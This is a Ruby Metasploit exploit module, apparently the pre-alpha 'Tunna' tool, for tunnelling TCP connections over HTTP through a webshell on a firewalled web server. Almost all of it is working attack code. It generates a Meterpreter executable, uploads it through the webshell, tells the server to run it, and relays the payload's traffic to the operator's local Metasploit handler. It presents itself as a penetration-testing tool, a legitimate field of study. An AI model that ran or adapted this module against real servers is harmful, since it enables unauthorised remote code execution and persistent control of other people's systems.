## v0.1a	Pre-alpha version
#			        _____                        
#			       |_   _|   _ _ __  _ __   __ _ 
#			         | || | | | '_ \| '_ \ / _` |
#			         | || |_| | | | | | | | (_| |
#			         |_| \__,_|_| |_|_| |_|\__,_|	
#								       METASPLOIT MODULE
# 
#       Tunna 0.1, for HTTP tunneling TCP connections by Nikos Vassakis
#       http://www.secforce.com 	/ nikos.vassakis <at> secforce.com
##

require 'msf/core'
require 'fastlib'
require 'rex'

########################################################################
#Life's too short includes
#TODO: Maybe some day use Metasploit API for HTTP requests
	require "net/http"		
	require "net/https"
	require "uri"	
	require "zlib"		#for gzip
########################################################################

	class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
#TODO:
        super(update_info(info,
            'Name'        => 'nvssks',
            'Description'    => %q{
ntegration with the Metasploit framework allows Tunna to bring architecture attacks closer in web application penetration testing. Tunna framework transparently connects a fully firewalled (inbound and outbound) web application to a local installation of Metasploit
When Tunna is operating integrated with Metasploit, the user chooses the payload which is generated, uploaded and executed in the remote server. Tunna connects the the socket in the remote server to the attackers Metasploit framework making it transparent to the Metasploit exploitation framework. 
The webshell will read data from the payload port, wrap it over HTTP and send it as an HTTP response to the metasploit "proxy". The local metasploit "proxy" will unwrap and write the data to its local port where the payload handler is connected. When the metasploit "proxy" receives data on the local port, it will send them over to the webshell as a HTTP Post. The webshell will read the data from the HTTP Post and put it on the payload port.
The Webshell that must be uploaded on the remote webserver and the local proxy application. In order to run the tool, execute the proxy application and instruct it to connect to the webshell and the remote service port. This will initiate the connection with the remote server and create a port on the local machine for the client application to connect to.
Only the webserver port needs to be open. The whole communication (Externally) is done over the HTTP protocol.
            },
           
            'Platform'    => ['linux', 'win'],
            'Arch'          => [ARCH_X86_64, ARCH_X86],
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
            'DefaultTarget'  => 0,
        ))

        register_options(
            [
                OptString.new('TARGETURI',[ true, 'PATH to conn.php / conn.aspx / conn.jsp', "http://webserver:8080/conn.ext"]),	#Web shell's URL
                #XXX: This should read LOCALIP but if RHOST overriden call to handler hangs execution
				OptAddress.new('RHOST', [ true, '!IMPORTANT local external IP','10.3.3.7']),	# !IMPORTANT:Metasploit bug if localhost or 127.0.0.1
				OptPort.new('RPORT', [ false, "remote port of service for the webshell to connect to (remote meterpreter)", 4444]),#Meterpreter is generated with port 4444
				OptPort.new('LPORT', [ false, "port for local server (Handler listener)", 4444]),#Handler port
				OptString.new('PingInterval', [ false, 'HTTP request for data, pinging interval', '0.5'])	#0.5
            ],self.class)
		register_advanced_options(
			[
				OptAddress.new('RemoteAddress', [ false, 'address for remote webshell to connect to (beta)','127.0.0.1']),	#in case we want to connect to another remote service using the web server
				OptInt.new('ReqTimeout', [ false, 'HTTP request timeout in milliseconds', 300]),	#Unused
				OptInt.new('BufferSize', [ false, 'HTTP request size (some webshels have limitations on the size)', 4096]),	#4096 #8192
				OptBool.new('StartPing', [true, 'start the pinging thread first - some services send data first (SSH)',false]),	#In case remote server needs to send data first(eg. SSH)
			], self.class)		
    end

	def HTTPreq(url, dataOut="", timeout=datastore['ReqTimeout'])	#Sends the data using HTTP packets / Waits for response
		http = Net::HTTP.new(@uri.host,@uri.port)	
		http.open_timeout = timeout
		http.read_timeout = timeout
		if dataOut then	#If there is data do a POST request
			print_debug('POST ' + url + ': ' + (@data_sent+=dataOut.length).to_s + ' (' + dataOut.length.to_s + ')') if @verbose and !@restrict_output #Output of request
			resp, data = http.post(url, dataOut, @headers)
		else
			print_debug('GET ' + url) if @verbose and !@restrict_output	#Output of request
			resp, data = http.get(url, @headers) 	#response is saved in resp
		end
		
		
		@headers['Cookie'] = resp.response['set-cookie'] if !@headers.has_key?('Cookie')	#If set-cookie is received update headers sent to server

		if resp.header[ 'Content-Encoding' ].eql?( 'gzip' ) then	#In case gzip encoding is used
			begin			
				f = StringIO.new( resp.body )
				url_f = Zlib::GzipReader.new( f )
				data = url_f.read()
			rescue ::Exception => e
				print_error("Gzip error was encountered #{e}")
			end 
		else
			data = resp.body
		end	
		print_debug('Data Received: ' + (@data_received+=resp.body.length).to_s + ' (' + resp.body.length.to_s + ')') if @verbose and !@restrict_output and resp.body.length > 0
		if resp.code == '200' then
			return data
		else
			print_error ("Received status code " + resp.code + "\n" + data)
			raise ConnectionError,"Unexpected HTTP response packet"
		end
	end

	def wrap_http_init(url,rport,remote_ip)
		@mutex = Rex::ReadWriteLock.new()	#for write to socket blocking
		@handling_threads = []
		@e = Rex::Sync::Event.new(false,false)	#for signaling the pinging thread
		@stop_p_thread = false	#used at exit
		
		@uri = URI(url)	
		http = Net::HTTP.new(@uri.host,@uri.port)
		@url=@uri.path+"?proxy"	#Append proxy as a url parameter

		#Add http headers for cookie and encoding
		@headers = {
			'Accept-encoding' => 'gzip',					#support for gzip is implemented
			'Connection'	=>	'close',				
			'Content-Type' => 'application/octet-stream'	#We're going to send raw data
		}

		#Initial connection to server / Important - set's up a session
		print_status(HTTPreq(@url,nil).strip)

		#Upload/execute meterpreter on remote host
		upload()
		
		sleep(2)	#wait - just do it (Can't remember why)
		
		#send config and start stalling thread (required by the php shell)
		@handling_threads << Rex::ThreadFactory.spawn("Threaded Initial Request", false){
			#Also sends request with the configuration options for the remote server (port and ip for the remote socket)
			if remote_ip then
				resp = HTTPreq(@url+"&port="+rport.to_s()+"&ip="+remote_ip.to_s(),nil,36000)	#TODO: Maybe longer timewait?	
			else
				resp = HTTPreq(@url+"&port="+rport.to_s(),nil,36000)
			end
			if(resp.strip != '[OK]') then				#If response is received and response is not '[OK]' something happend on the server side
				raise resp
			else
				print_status('Keep-alive thread not required')
			end
		}

		@handling_threads[-1].join(2)	#wait for exception
		#initialise local socket
		wrap_http_socket_init()
		#start wrapping the connection
		wrap_http_connection()
	end

	def wrap_http_socket_init()
		print_status('Starting Http Wrapper')
		begin 
			#Because creating a double socket on localhost triggers a metasploit bug
			server = Rex::Socket::TcpServer.create(	#create local socket
				'LocalHost' => datastore['RHOST'],
				'LocalPort' => datastore['LPORT']	
				)
			print_status("socket info:" + server.localport.to_s + ' | ' + server.localhost.to_s )

			@ready.set()	# unblock main: continues execution and calls handler

			@sock = server.accept()	# wait for connection
			server.close()
		rescue ::Exception => e
			print_error("The following error was encountered #{e}")
			raise
		end
	end
	
	def wrap_http_connection()	
		@wrapping_threads = []
		#start pinging thread - this thread queries the remote host to see if there is data to be received
		@wrapping_threads << Rex::ThreadFactory.spawn("Pinging Thread", false){
			Thread.pass
			@e.wait() # wait for start signal
			print_status("[+] Starting Ping thread")
			wait=true
			while !@stop_p_thread										#loop until requested to stop
				Rex::ThreadSafe.sleep(@interval) if wait				#send ping to server interval / waits "interval" between requests
				@mutex.synchronize_write(){								#ensures that there is only one HTTP request made at a time
					resp_data=HTTPreq(@url,nil)							#Read data
					if resp_data != "" and resp_data then
						@sock.write(resp_data)							#If data is received - write to socket
						resp_data=""									#clear data
						wait=false										#if there was data chances are that there are more / dont wait 
					else
						wait=true
					end
				}
			end	
			#raise "Pinging Thread Exited"
		}
	
		@e.set() if @start_pinging				#start ping thread	/ send event to thread

		@wrapping_threads << Rex::ThreadFactory.spawn("Http wrapper Thread", false) {				#Threadded write on the socket
		data=nil
		@i = 0
		#Thread.pass
		while 1
			if @sock.eof? or @sock.closed? then
				#print_error("Disconected")
				break;
			else
				begin	
					data = @sock.read(@bufferSize)				#use of bigger buffer eg.8192 - is problematic in jsp
				rescue ::Exception => e
					print_error("Socket read error was encountered #{e}")
					raise
				end
				if data and data != "" then							#if data is read from socket
					@mutex.synchronize_write(){						#ensures that there is only one HTTP request made at a time 
						resp_data=HTTPreq(@url,data)				#sends data over HTTP
						if resp_data != "" and resp_data then		#if data is received back
							@sock.write(resp_data)					#write them to socket
							resp_data=""							#clear data	(just in case)
						end	
					@e.set() if !@start_pinging		#start ping thread if not already started - only happens once 
					}
				end
				#end
			end
		end
		@stop_p_thread = true
		#wrap_http_connection_close()
		}
		@ready.set()
	end
	
	def wrap_http_connection_close()
		#delete remote meterpreter executable
		delete_file()			
		#Request server to close remote socket
		print_status(HTTPreq(@url+"&close",nil).strip())
		#Close local socket
		@sock.close if defined?(@sock) rescue nil
		#Kill all threads
		print_status("Killing threads")
		if @wrapping_threads
			@wrapping_threads.each do |t|
				t.kill
			end		# Stop the wrapper threads
		end
		if @handling_threads
			@handling_threads.each do |t|
				t.kill
			end		# Stop the wrapper threads
		end
		#XXX: If thread is sleeping request to kill pinging thread might get lost
		@stop_p_thread = true
		raise RuntimeError, "Aborted!"
	end
	
	def exploit
		@handling_threads = []
		@ready = Rex::Sync::Event.new(false,true)	
		
		# Debug
		@data_sent=0
		@data_received=0
		@pings=0
		#Copy OPTIONS to local vars
		@interval = datastore['PingInterval'].to_f
		@start_pinging = datastore['StartPing']	
		@bufferSize = datastore['BufferSize']
		@verbose = datastore['VERBOSE']					#gives more verbose output
		@restrict_output = false						#if verbose restricts output after meterpreter connection establishes
				
		return if not datastore['PAYLOAD']
		return if not datastore['TARGETURI']
		return if not datastore['RHOST']

		#start main thread - spawns everything else
		@handling_threads << Rex::ThreadFactory.spawn("Http main wrapper thread", false) {

			begin 
				#Initiate everything
				wrap_http_init(datastore['TARGETURI'],datastore['RPORT'],datastore['RemoteAddress'])
				
			rescue ::Exception => e
				print_error("The following error was encountered: #{e}")
				wrap_http_connection_close()
				#raise
				::Thread.main.raise e
			end
		}
		#print_status("Started wrapper")
		@ready.wait()	#Waits for socket to initialise

		handler(@sock)	#Calls metasploit handler - Doesn't block
		
		@ready.wait()	#Waits for wrapper to finish execution before exiting - otherwise handling threads are killed

		@wrapping_threads.each(&:join)
		wrap_http_connection_close()	#Cleenup&Close everything

	end

	def on_new_session (session)
		@restrict_output = true	#When VERBOSE output stops after meterpreter session established
	end

# Upload / Execute / Delete meterpreter @ remote host functions

	def upload()
		remote_options = {	#Options for remote meterpreter
			'RHOST'	=>	'127.0.0.1',
			'LPORT'	=>	 datastore['RPORT'],
			'ENCODER'	=> nil
		}
	
		payload = datastore['PAYLOAD']
		exe = generate_meterpreter(payload,remote_options)	#Generate meterpreter based on specified payload
		
		if payload.include? "windows" then		#If windows payload is selected
			filename = 'meterpreter.exe'
		else
			filename = 'meterpreter'
		end
		
		rand = '18788734234'	#return 4 style random number

		
		print_status("Uploading meterpreter")

		#Generate HTTP packet for upload / include meterpreter and send
		@headers['Content-Type']="multipart/form-data; boundary=---------------------------#{rand}"	
		data ="""-----------------------------#{rand}\r\nContent-Disposition: form-data; name=\"meterpreter\"; filename=\"#{filename}\"\r\nContent-Type: application/octet-stream\r\n\r\n#{exe}\r\n-----------------------------#{rand}--\r\n\r\n"""
		
		print_status( HTTPreq(@uri.path+"?file&upload", data) )	#Send packet / Print response
		
		#Put HTTP request headers back to previous value
		@headers['Content-Type']='application/octet-stream'
	
		#Request server to Run the uploaded file
		print_status( HTTPreq(@uri.path+"?file&run") )

		#Rex::Ui::Text::IrbShell.new(binding).run		#debug

	end

	def delete_file()
		#Request server to delete uploaded file
		sleep(2)
		print_status( HTTPreq(@uri.path+"?file&delete") )
	end

	def generate_meterpreter(payload_name,remote_options={})
		#Reads port from options
		print_status("Generating meterpreter (" + payload_name + ")")
		remote_options = {	#Meterpreter options
			'RHOST'	=>	'127.0.0.1',
			'LPORT'	=>	 datastore['RPORT'],
			'ENCODER'	=> nil
		}.merge(remote_options)
        
        #Code from msfpayload
		
		# Initialize the simplified framework instance.
		framework = Msf::Simple::Framework.create(
			:module_types => [ Msf::MODULE_PAYLOAD, Msf::MODULE_NOP ],
			'DisableDatabase' => true
		)
		
		payload = framework.payloads.create(payload_name)
		
		$stdout.binmode
		
		enc = remote_options['ENCODER']

		begin
			buf = payload.generate_simple(
					'Format'    => 'raw',
					'Options'   => remote_options,
					'Encoder'   => enc)
		rescue
			print_error("Error generating payload: #{$!}")
			exit
		end
			
		@arch = payload.arch
		@plat = payload.platform.platforms

		exe  = Msf::Util::EXE.to_executable(framework, @arch, @plat, buf)

		if(!exe and plat.index(Msf::Module::Platform::Java))	
			exe = payload.generate_jar.pack
		end

		if(exe)
			return exe	# returns generated executable
		end
	end
end

